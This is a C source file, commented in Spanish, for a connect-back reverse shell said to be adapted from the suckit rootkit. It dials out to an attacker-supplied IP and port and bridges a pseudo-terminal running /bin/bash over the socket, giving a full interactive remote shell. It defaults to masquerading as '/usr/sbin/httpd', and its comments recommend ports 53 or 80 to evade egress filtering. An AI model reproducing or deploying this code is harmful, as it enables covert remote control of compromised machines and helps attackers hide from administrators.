//Porfin una reverse shell con terminal real!! desde ahi se pueden lanzar ftp, ssh, su ...
//El codigo esta sacado del maravilloso suckit y adaptado.

// rshell2 <remoteip> <remoteport> [<processname>]
//
// socket   <---->   /dev/ptmx  <---->  /dev/pts/n <----> /bin/bash
// 

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stropts.h>
#include <asm-i386/ioctls.h>
#include <signal.h>
#include <linux/errno.h>

#define        BUF     16384

void    get_tty(int num, char *base, char *buf);
int     open_tty(int *tty, int *pty);

struct winsize {
        unsigned short ws_row;
        unsigned short ws_col;
        unsigned short ws_xpixel;
        unsigned short ws_ypixel;
} __attribute__ ((packed));

int	hupty;
void    hup(int n)
{
        _exit(0);
}

int main (int argc, char **argv) {
	struct sockaddr_in host;
	struct hostent *hp;
	int sock, master, slave;
	char connectbackip[20];
	char procname[30]="/usr/sbin/httpd";
	unsigned char buf[BUF];
	int pty, tty;
	int pid;

	if (argc < 3 || argc > 4) {
		fprintf(stderr,"hay que indicar la connectback ip, puerto y nombre de proceso\n");
		return (0);
	}

	//TODO: buscar el primer proceso con mi getuid() (que no sea yo) y ponerme su nombre.
	strncpy ((char*)&connectbackip[0],argv[1],18);

	if (argc == 4) 
		strncpy((char *)procname,argv[3],29);
	

	host.sin_family = AF_INET;
	host.sin_port = htons (atoi(argv[2])); //quien no permitiria una salida al 53 o al 80?
	host.sin_addr.s_addr = inet_addr(connectbackip);
	//host.sin_addr.s_addr =  *((struct in_addr *)hp->h_addr); //si decidimos k vaya por dns
	
	sock = socket (AF_INET,SOCK_STREAM,0);
	connect (sock, (struct sockaddr *)&host, sizeof(host));

        if (!open_tty(&tty, &pty)) {
                printf("no puedo abrir tty");
                close(sock);
                return 0;
        }
	

	pid = fork();
	if (pid < 0) {
		printf ("No puedo forkear\n");
		close (sock);
		return 0;
	}
	if (pid == 0) {
		int i;
		close(pty);
		setsid();
		ioctl(tty, TIOCSCTTY, NULL);
                close(sock);

		for (i = 1; i < 64; i++)
                        signal(i, SIG_DFL);
	
		//dup2(tty,sock);	
		dup2(tty,0);
		dup2(tty,1);
		dup2(tty,2);
		close (tty);
		printf ("accediendo\n");
		execl ("/bin/bash",procname,0x00);    //tu Shell favorita
		printf ("no se pudo ejecutar la shell\n");
		return 0;	
	}
	close (tty);

	signal(SIGPIPE, hup);
        signal(SIGIO, hup);
        signal(SIGTERM, hup);
        signal(SIGHUP, hup);
        signal(SIGALRM, hup);
        hupty = pty;

        while (1) {
           	int     err;
                fd_set  fds;

                FD_ZERO(&fds);
                FD_SET(pty, &fds);
                FD_SET(sock, &fds);

                err = select((pty > sock) ? (pty+1) : (sock+1),
                        &fds, NULL, NULL, NULL);
                if (err < 0) {
                        if (err == -EINTR)
                                continue;
                        break;
                }

                /* tty => client */
                if (FD_ISSET(pty, &fds)) {
                        int count = read(pty, buf, BUF);
                        if ((count <= 0) && (count != -EINTR))
                                break;
                        write(sock, buf, count);
                }

                if (FD_ISSET(sock, &fds)) {
                        int     count;
                        unsigned char   *p;

                        count = read(sock, buf, BUF);
                        if ((count <= 0) && (count != -EINTR))
                                break;

                        alarm(120);

                        p = (unsigned char *)memchr(buf, 1, count);
                        if (p) {
                                struct  winsize ws;
                                int     t;

                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (p[1] << 8) + p[2];
                                ws.ws_row = (p[3] << 8) + p[4];
                                if (ws.ws_col & ws.ws_row) {
                                        ioctl(pty, TIOCSWINSZ, &ws);
                                        kill(0, SIGWINCH);
                                }
                                write(pty, buf, (p-buf));
                                t = (buf+count) - (p+5);
                                if (t > 0)
                                        write(pty, p+5, t);
                        } else {
                                write(pty, buf, count);
                        }
                }
        }
        close(pty);
        close(sock);
        return(0);
}

void    get_tty(int num, char *base, char *buf)
{
        char    series[] = "pqrstuvwxyzabcde";
        char    subs[] = "0123456789abcdef";
        int     pos = 8;
	//pos  = (int)strlen(base);

        strcpy(buf, base);
        buf[pos] = series[(num >> 4) & 0xF];
        buf[pos+1] = subs[num & 0xF];
        buf[pos+2] = 0;
}


int     open_tty(int *tty, int *pty)
{
        char    buf[512];
        int     i, fd;

        fd = open("/dev/ptmx", O_RDWR, 0);
        close(fd);

        for (i=0; i < 256; i++) {
                get_tty(i, "/dev/pty", buf);
                *pty = open(buf, O_RDWR, 0);
                if (*pty < 0) continue;
                get_tty(i, "/dev/tty", buf);
                *tty = open(buf, O_RDWR, 0);
                if (*tty < 0) {
                        close(*pty);
                        continue;
                }
                return 1;
        }
        return 0;
}


